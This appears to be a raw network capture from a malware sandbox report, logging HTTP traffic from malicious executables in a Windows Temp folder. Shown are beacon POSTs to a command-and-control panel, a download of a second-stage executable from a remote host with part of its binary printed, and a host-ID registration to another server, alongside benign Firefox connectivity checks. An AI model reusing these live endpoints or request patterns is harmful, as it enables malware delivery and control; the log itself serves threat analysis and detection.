Dec 10, 2024 02:51:50.392417908 CET	1236	IN	Data Raw: bf 33 41 12 5b 52 91 a7 94 e0 e5 21 5d 8d 93 1b 30 af be 5e 8f 7b 94 24 bc 87 3d 50 74 38 00 cd a5 7b 35 ab 90 44 11 e5 40 7a 29 92 1d b3 4a 52 10 d4 8d 43 b3 ff 3c 6b 20 35 4a e1 86 bc f7 99 68 67 d7 c4 fb c8 a1 b9 38 b1 27 61 b3 3c e2 f9 cc 06 Data Ascii: 3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^%<t5S[AIa+48*xs30SxNZCPH3U"~6GxeZE3 SZF&=Qt`d^u
Dec 10, 2024 02:51:50.392505884 CET	556	IN	Data Raw: c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f ae 3a 77 4d e4 44 61 15 b1 b3 97 25 Data Ascii: mRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6DtFX[a/[
Dec 10, 2024 02:51:50.398529053 CET	1236	IN	Data Raw: c4 2b ef bd 7d 2c 43 08 ed 7b 6b 29 6e 0e 1f c4 b7 82 38 dd 6c d9 86 f4 10 35 b0 a5 85 fc 11 b1 d2 2f 8d 77 64 e2 a9 08 d7 d5 3c d2 4a 6a 78 59 69 0f 6c e4 a9 b3 24 c6 f4 58 9a 23 39 7d c7 13 4c f7 63 fc 1e b2 57 02 df 46 1e fd 6d 66 5c 34 7b 69 Data Ascii: +},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)
Dec 10, 2024 02:51:51.866816044 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:52.380414009 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:52 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 02:51:54.755947113 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:55.262052059 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:54 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 02:51:57.350774050 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:57.842525959 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:57 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 02:51:59.925278902 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:52:00.414959908 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:00 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 02:52:02.500293016 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:52:03.009620905 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:02 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 02:52:05.118550062 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:52:05.608161926 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:05 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49977	34.107.221.82	80	1992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:50.098486900 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 10, 2024 02:51:51.185848951 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 31696 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 10, 2024 02:51:53.707108021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 10, 2024 02:51:54.021256924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 31698 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49980	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:50.873043060 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013585001&unit=246122658369
Dec 10, 2024 02:51:52.251269102 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49987	185.215.113.16	80	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:52.485534906 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 10, 2024 02:51:53.818134069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:53 GMT Content-Type: application/octet-stream Content-Length: 2821120 Last-Modified: Tue, 10 Dec 2024 01:21:12 GMT Connection: keep-alive ETag: "67579788-2b0c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 61 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +a+`Ui` @ @.rsrc`2@.idata 8@fnclnjqv*:@xutkjozi `+@.taggant@+"*@
Dec 10, 2024 02:51:53.818281889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.818293095 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.818516016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.818526983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.818546057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.818561077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.819267988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:53.819291115 CET	1236	IN	Data Raw: e9 06 6c ee 6c 90 48 b9 ac 0e 87 f5 ef a9 b2 b5 5f 81 48 a9 2e 32 b7 cb e7 6a bd 29 f6 fc cb b4 72 1f 11 24 f2 24 fc b2 16 96 d9 fc 76 c5 b2 6c b1 54 5a e5 74 73 bd 6d 94 d4 73 23 ee c1 d7 91 6f b7 b5 f4 c2 7b d7 0d 50 64 e8 8a 87 6e 12 03 e6 65 Data Ascii: llH_H.2j)r$$vlTZtsms#o{PdneX/2o=h"uq^gZHSv!V9Vx[-_YGzL(w)2{2K/uPiO@iL+ bmn"}x'Fmw{
Dec 10, 2024 02:51:53.819300890 CET	1236	IN	Data Raw: 90 77 3c 98 8d d4 7e f5 6f da b9 93 6e cf fb 20 b5 ec be 9b f7 17 91 41 bf 57 71 98 35 38 72 fa ab 36 be f8 03 47 8f 7e ed 09 8d ed f9 55 81 ec e9 74 ad d3 a2 1b b4 27 b1 46 be a7 30 7f a1 8d e8 b0 ae 6c cb d7 ab ef 41 0f 99 98 d8 6b d6 ed 25 95 Data Ascii: w<~on AWq58r6G~Ut'F0lAk%[z\I^M]mLRT70VoNxSv0DKQJpTiO,#{` Z`Q$aHH;r;p<`: 0M=NLy?_+J=B5_@5
Dec 10, 2024 02:51:53.958358049 CET	1236	IN	Data Raw: 02 b4 fe f1 a6 8d dd ba c9 71 a5 f4 65 fe 0e 4a c8 fc b8 36 a1 1e 69 f3 8e ba 0b 85 4f 95 14 6b c9 bc a8 b3 20 9e 44 2f cc c7 8b b8 6f 9c bb 76 0f 79 1e b4 9f 62 49 5f 0d 8d 45 9b a1 0d 33 14 c5 2d e0 01 9c 7b 61 bc 8f da c2 9f 2b c3 97 56 a2 a8 Data Ascii: qeJ6iOk D/ovybI_E3-{a+V"@u/[E@'9ClU&1_nrUn^D6l4vUY*cq#zx]+%vv"X"R3K.%?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49989	34.107.221.82	80	1992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:53.249641895 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 10, 2024 02:51:54.333095074 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 80248 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49994	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:54.091629028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 10, 2024 02:51:55.397123098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49999	185.215.113.206	80	3356	C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:54.869095087 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:56.218168974 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:51:56.226571083 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 2d 2d 0d 0a Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="hwid"B3664E8882872556134559------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="build"stok------AKEGIIJDGHCAKFHJEHCF--
Dec 10, 2024 02:51:56.665254116 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50000	34.107.221.82	80	1992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:55.206593037 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 10, 2024 02:51:56.307338953 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 80250 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 10, 2024 02:52:06.382891893 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50006	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:57.033808947 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 10, 2024 02:51:58.388813019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50008	34.107.221.82	80	1992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:57.241441011 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 10, 2024 02:51:58.328742981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 48815 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50017	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:52:00.136961937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 10, 2024 02:52:01.467916965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:52:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50026	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:52:03.279588938 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 10, 2024 02:52:04.557374954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	50034	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:52:06.388324976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 10, 2024 02:52:07.714766026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	50072	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
